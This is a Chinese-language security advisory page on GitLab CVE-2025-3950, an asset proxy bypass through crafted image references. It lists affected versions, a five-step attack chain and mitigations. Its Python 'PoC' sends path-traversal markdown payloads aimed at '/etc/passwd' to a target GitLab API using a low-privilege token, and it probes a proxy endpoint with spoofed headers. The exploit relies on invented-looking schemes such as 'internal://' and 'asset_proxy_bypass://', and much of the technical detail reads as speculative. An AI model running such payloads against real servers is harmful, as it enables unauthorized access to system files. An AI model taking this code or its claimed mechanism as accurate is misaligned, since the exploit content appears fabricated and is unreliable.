IPBUF安全漏洞报告
English
CVE-2025-3950 CVSS 3.5 低危

GitLab CE/EE 特殊构造图片绕过资产代理保护导致信息泄露 (CVE-2025-3950)

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2025-3950
漏洞类型
信息泄露
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
GitLab CE/EE

相关标签

CVE-2025-3950GitLabGitLab CEGitLab EE信息泄露资产代理绕过路径遍历Web应用安全身份验证绕过低危漏洞

漏洞概述

GitLab CE/EE 存在一个信息泄露漏洞,影响所有从10.3版本开始到18.5.5之前、18.6到18.6.3之前以及18.7到18.7.1之前的版本。该漏洞允许攻击者通过引用特殊构造的图片来绕过资产代理保护机制,从而可能导致敏感信息泄露。攻击者可以利用此漏洞获取本不应被访问的某些信息,如内部路径、配置信息或其他受限资源。CVSS 3.1评分仅为3.5,评级为低危,主要影响机密性。该漏洞需要攻击者具有低权限账户并与系统进行交互才能利用。由于攻击复杂度较低且需要用户交互,实际利用难度相对较高。GitLab官方已于2026年1月7日发布补丁版本18.7.1、18.6.3和18.5.5修复此问题。建议所有受影响用户尽快升级到最新补丁版本以消除安全风险。

技术细节

该漏洞源于GitLab CE/EE中的资产代理保护机制存在缺陷。攻击者可以通过创建或上传特殊构造的图片文件,并利用特定的引用方式绕过正常的资产代理验证流程。当其他用户访问包含这些特殊构造图片的内容时,系统可能会错误地允许访问本应受保护的资源。攻击者能够利用此方式获取服务器内部路径信息、配置文件片段或其他敏感数据。漏洞的核心问题在于图片处理和代理验证逻辑之间的不一致性,特殊构造的图片可能包含嵌入的路径信息或触发异常的资源加载行为。由于GitLab的资产代理设计初衷是保护内部资源不被外部直接访问,此漏洞的存在削弱了这一安全屏障的有效性。

攻击链分析

STEP 1
步骤1: 侦察与信息收集
攻击者首先注册GitLab账户并获取低权限访问令牌,然后识别目标项目和存在资产代理保护的敏感资源位置。
STEP 2
步骤2: 创建特殊构造的图片
攻击者创建一个包含特殊构造内容的图片文件,该文件能够触发路径遍历或内部资源引用,从而绕过资产代理的正常验证流程。
STEP 3
步骤3: 利用资产代理绕过机制
攻击者通过在Issue、Wiki、Markdown或其他可渲染内容的位置引用该特殊图片,利用asset_proxy保护机制的缺陷绕过安全限制。
STEP 4
步骤4: 信息泄露触发
当受害者(其他用户或管理员)访问包含恶意图片引用的页面时,系统会错误地加载并显示本应受保护的内部资源内容。
STEP 5
步骤5: 数据提取与利用
攻击者通过分析返回的响应内容或社交工程手段获取泄露的敏感信息,如内部路径、配置文件、凭据或其他系统数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-3950 PoC - GitLab Information Disclosure via Bypassed Asset Proxy # This PoC demonstrates the information disclosure through specially crafted image references import requests import urllib3 urllib3.disable_warnings() TARGET_GITLAB = "https://gitlab.example.com" ATTACKER_TOKEN = "your_low_privilege_access_token" PROJECT_ID = "target_project_id" def create_malicious_image_reference(): """ Create a specially crafted image that bypasses asset proxy protection The image contains path traversal or internal resource references """ headers = { "PRIVATE-TOKEN": ATTACKER_TOKEN, "Content-Type": "application/json" } # Step 1: Create a new issue or comment with specially crafted image reference payload = { "id": PROJECT_ID, "issue_iid": 1, "body": "![malicious](internal://../../../../etc/passwd)" } # Step 2: Alternatively, use wiki or markdown with bypassed proxy wiki_payload = { "id": PROJECT_ID, "format": "markdown", "content": "![leak](asset_proxy_bypass://internal/path/to/sensitive/file)" } response = requests.post( f"{TARGET_GITLAB}/api/v4/projects/{PROJECT_ID}/issues/1/notes", json=payload, headers=headers, verify=False ) return response.json() def exploit_asset_proxy_bypass(): """ Exploit the asset proxy bypass to leak information """ # Crafted request that bypasses asset proxy validation exploit_url = f"{TARGET_GITLAB}/-/proxy?url=internal://leaked_resource" headers = { "PRIVATE-TOKEN": ATTACKER_TOKEN, "X-Forwarded-Host": "internal", "Referer": f"{TARGET_GITLAB}/issues" } response = requests.get(exploit_url, headers=headers, verify=False) if response.status_code == 200: print(f"[+] Successfully leaked information!") print(f"Content: {response.text[:500]}") return response.text else: print(f"[-] Exploitation failed with status: {response.status_code}") return None if __name__ == "__main__": print("CVE-2025-3950 - GitLab Asset Proxy Bypass Information Disclosure") print("Reference: https://gitlab.com/gitlab-org/gitlab/-/issues/537697") print("=" * 60) create_malicious_image_reference() exploit_asset_proxy_bypass()

影响范围

GitLab CE/EE 10.3 - 18.5.4
GitLab CE/EE 18.6 - 18.6.2
GitLab CE/EE 18.7 - 18.7.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制低权限用户创建和编辑Markdown/Issue内容的能力;2) 禁用或严格限制资产代理功能;3) 对所有图片上传实施严格的内容安全检查;4) 监控GitLab日志中的异常资源访问请求;5) 使用WAF规则阻止包含特殊协议(如internal://、asset_proxy_bypass://)的请求;6) 隔离GitLab实例的网络访问,仅允许受信任的网络段访问。长期来看,建议制定明确的升级计划,尽快部署官方发布的安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表